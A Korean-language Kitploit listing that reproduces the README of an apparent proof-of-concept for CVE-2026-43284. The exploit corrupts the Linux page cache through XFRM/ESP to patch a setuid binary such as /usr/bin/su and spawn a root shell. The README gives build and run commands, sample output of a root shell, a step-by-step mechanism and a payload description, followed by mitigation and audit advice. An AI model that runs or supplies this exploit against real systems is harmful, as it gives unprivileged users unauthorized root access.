Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-43284-DirtyFrag-PoC — CVE-2026-43284에 대한 개념 증명 — setuid 바이너리를 패치하기 위한 4바이트 XFRM/ESP 페이지-캐시 쓰기 프리미티브 (x86_64, 사용자 네임스페이스). 커널 프리플라이트 + SUID 스캔 포함. | Kitploit
도구/GitHubGitHub/jayhutajulu1/cve-2026-43284-dirtyfrag-poc
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubjayhutajulu1/cve-2026-43284-dirtyfrag-poc

CVE-2026-43284-DirtyFrag-PoC

CVE-2026-43284에 대한 개념 증명 — setuid 바이너리를 패치하기 위한 4바이트 XFRM/ESP 페이지-캐시 쓰기 프리미티브 (x86_64, 사용자 네임스페이스). 커널 프리플라이트 + SUID 스캔 포함.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
1112개월 전아직 검토되지 않음

CVE-2026-43284 — 4바이트 XFRM/ESP

CVE Platform Type Status

개념 증명 (PoC) — XFRM/ESP 페이지 캐시 손상을 통한 로컬 권한 상승
4바이트 쓰기 프리미티브 · 48회 반복 · 192바이트 ELF 덮어쓰기 · 권한 없는 사용자 + netns


개념 증명

WSL2 Ubuntu 24.04에서의 사전 점검 및 익스플로잇 단계 uid=0 확인이 포함된 루트 셸 성공

왼쪽: 커널 사전 점검, setuid 스캔 및 익스플로잇 체인  ·  오른쪽: 루트 셸 실행 — id / whoami가 uid=0(root) 확인
테스트 환경: WSL2 · Ubuntu 24.04.1 LTS · 커널 6.6.87.2-microsoft-standard-WSL2


  ╔═══════════════════════════════════════╗
  ║  SLEY - CVE-2026-43284 dirtyfrag PoC  ║
  ╚═══════════════════════════════════════╝

면책 조항: 본 도구는 귀하가 소유하거나 명시적 허가를 받은 시스템에서만 공인된 보안 연구, 교육 및 테스트 용도로 사용하십시오. 저자는 오용에 대해 책임을 지지 않습니다.


개요

CVECVE-2026-43284
유형로컬 권한 상승 (LPE)
벡터XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) 페이지 캐시 손상
프리미티브반복당 4바이트 (ESN seq_hi)
페이로드192바이트 x86_64 ELF (setuid(0) + setgid(0) + execve("/bin/sh"))
기본 대상/usr/bin/su
아키텍처x86_64 전용
필요 권한권한 없는 사용자 (사용자 + 네트워크 네임스페이스 사용)

algif_aead가 블랙리스트에 등록되어 있어도 작동합니다 — 익스플로잇은 커널 XFRM/ESP 코드 경로를 직접 사용합니다.


기능

익스플로잇 전에 내장된 사전 점검 기능:

  1. 커널 설정 — CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP 확인
    (/boot/config-*, /lib/modules/*/config, 또는 WSL2의 경우 /proc/config.gz 읽기)
  2. Setuid 스캔 — 시스템의 SUID 바이너리 나열 (find / -perm -4000)
  3. 익스플로잇 — 페이지 캐시 패치, PTY를 통해 루트 셸 실행, 종료 시 대상 복원

요구 사항

커널 옵션

CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m   # 또는 =y

빠른 확인:

# 물리 머신 / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)

# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='

기타

  • CVE-2026-43284에 취약한 Linux 커널 (참조: 패치 현황)
  • gcc, libc, libutil (forkpty 용)
  • 읽기 가능한 setuid 대상 바이너리 (기본값: /usr/bin/su)

빌드

git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make

또는 수동으로:

gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil

-O0는 의도적입니다 — 최적화는 타이밍에 민감한 splice/UDP 동작을 망칠 수 있습니다.


사용법

1. 권한 없는 사용자 확인

id
# uid=1000(사용자명) gid=1000(사용자명) groups=...

2. 익스플로잇 실행

./sley-dirtyfrag                  # 기본 대상: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd  # 사용자 지정 setuid 바이너리

도구는 세 가지 자동화된 단계를 실행합니다:

단계설명
1커널 설정 사전 점검 (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP)
2전체 시스템 setuid 바이너리 스캔; 기본 대상 강조
3대상 백업 → 페이지 캐시 패치 (48회 × 4바이트 쓰기) → 루트 셸 실행

3. 루트 액세스 확인

실행된 셸 내에서:

id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root

4. 종료 후 복원

Ctrl+D를 누르거나 exit를 입력하십시오. PoC는 페이지 캐시를 해제하여 디스크의 원본 바이너리가 자동으로 복원되도록 합니다.

복원이 실패한 경우:

echo 3 | sudo tee /proc/sys/vm/drop_caches

명령어 참조

명령어설명
./sley-dirtyfrag/usr/bin/su 익스플로잇 (기본값)
./sley-dirtyfrag /path/to/suid사용자 지정 setuid 바이너리 익스플로잇
makesley-dirtyfrag 빌드
make clean바이너리 제거

출력 예시

┌─[ phase 1] kernel config preflight
  → /proc/config.gz
  [+] CONFIG_USER_NS        = y  (required =y)
  [+] CONFIG_XFRM           = y  (required =y)
  [+] CONFIG_INET_ESP       = m  (required =m or =y)
  kernel options OK.

┌─[ phase 2] setuid binary scan
  10 /usr/bin/su  ← target
  found 14 setuid binaries.

┌─[ phase 3] exploit
  [*] unshare userns+netns, register 48 XFRM SA, splice→UDP 4500...
  [+] corrupt               all iterations done
  [+] verify                ELF patch detected

  ╔══════════════════════════════════════╗
  ║  root shell — exit to restore        ║
  ╚══════════════════════════════════════╝

완화 방법

커널 패치 적용 (권장)

수정된 버전f4c50a4034e6 (메인라인, 2026년 5월 8일)
도입된 버전cac2661c53f3 (2017년 1월)

조치: 수정 사항이 포함된 배포판 커널로 업그레이드하거나 패치된 메인라인 트리에서 빌드하십시오.

# 실행 중인 커널 확인
uname -r

# 수정 사항 존재 확인 (예시 — 배포판 패키지 명명에 맞게 조정)
# apt update && apt install --only-upgrade linux-image-$(uname -r)

강화 옵션 (심층 방어)

조치효과
커널 패치 / 업그레이드근본적인 페이지 캐시 쓰기 버그 제거
사용자 네임스페이스 제한이 PoC 차단 (CONFIG_USER_NS 필요)
불필요한 setuid 바이너리 제거실행 가능한 대상 감소 (chmod u-s 또는 제거)
Lockdown / LSM (SELinux, AppArmor)정책에 따라 익스플로잇 후 영향 제한 가능
XFRM + UDP/4500 모니터링권한 없는 네임스페이스에서의 비정상적인 SA 등록 및 ESP-in-UDP 트래픽 탐지

권한 없는 사용자 네임스페이스 제한

이 익스플로잇은 루트 없이 unshare(CLONE_NEWUSER | CLONE_NEWNET)에 의존합니다.

# 런타임 (일부 커널에는 없을 수 있음)
sysctl kernel.unprivileged_userns_clone=0

# 또는 빌드 시 비활성화
# CONFIG_USER_NS is not set

참고: 사용자 네임스페이스를 비활성화하면 이 PoC는 차단되지만 반드시 CVE-2026-43500 (userns 없는 시스템을 위한 rxrpc 변형)까지 차단하는 것은 아닙니다.

setuid 바이너리 감사

find / -perm -4000 -type f 2>/dev/null
# 필요하지 않은 바이너리는 제거하거나 강화하십시오

의심되는 침해 후 캐시 삭제

setuid 바이너리가 메모리에서 패치되었다고 생각되면:

echo 3 | sudo tee /proc/sys/vm/drop_caches
# 패키지 관리자 / 알려진 해시를 통해 바이너리 무결성 재확인

작동 원리

  1. unshare(CLONE_NEWUSER | CLONE_NEWNET) — 격리된 사용자/네트워크 네임스페이스 (루트 불필요).
  2. 48개의 XFRM 보안 연관 등록 — 셸코드 바이트가 ESN seq_hi에 인코딩됨 (SA당 4바이트).
  3. UDP_ENCAP_ESPINUDP로 UDP 포트 4500을 통해 트리거:
    • splice()는 대상 파일을 파이프로 읽음
    • splice()는 파이프에서 UDP 소켓으로 데이터 이동
    • 페이지 캐시 페이지가 skip_cow 경로를 통해 ESP scatter-gather 목록에 들어감
    • authencesn scatterwalk가 assoclen + cryptlen 위치에 seq_hi를 씀
  4. HMAC 실패 — 그러나 페이지 캐시 쓰기는 유지됨.
  5. 패치된 setuid 바이너리 실행 — 최소 ELF가 setuid(0) / setgid(0) / execve("/bin/sh")를 실행.
  6. 셸 종료 시 — 페이지 캐시 삭제 (posix_fadvise) → 커널이 디스크에서 깨끗한 파일을 다시 로드.

테스트 환경

환경커널
WSL2 Ubuntu 24.04.1 LTS6.6.87.2-microsoft-standard-WSL2
Ubuntu 24.04취약한 빌드
Fedora 44취약한 빌드

관련 작업

  • CVE-2026-43500 — 사용자 네임스페이스가 없는 시스템을 위한 rxrpc 변형; 8바이트 pcbc(fcrypt) 브루트 포스 프리미티브로 /etc/passwd를 대상으로 함. 이 저장소에는 포함되지 않음.

파일

파일설명
sley-dirtyfrag.c익스플로잇 소스
Makefile빌드 도우미
proof-of-concept-1.jpgPoC 스크린샷 — 사전 점검 + 익스플로잇
proof-of-concept-2.jpgPoC 스크린샷 — 루트 셸 확인
README.md이 파일

라이선스

연구 및 교육 목적으로 있는 그대로 제공됩니다. 책임감 있게 사용하십시오.


저자

SLEY — CVE-2026-43284 dirtyfrag PoC

이 도구가 연구에 도움이 되었다면 저장소에 별표를 눌러 주시기 바랍니다.

도구 다운로드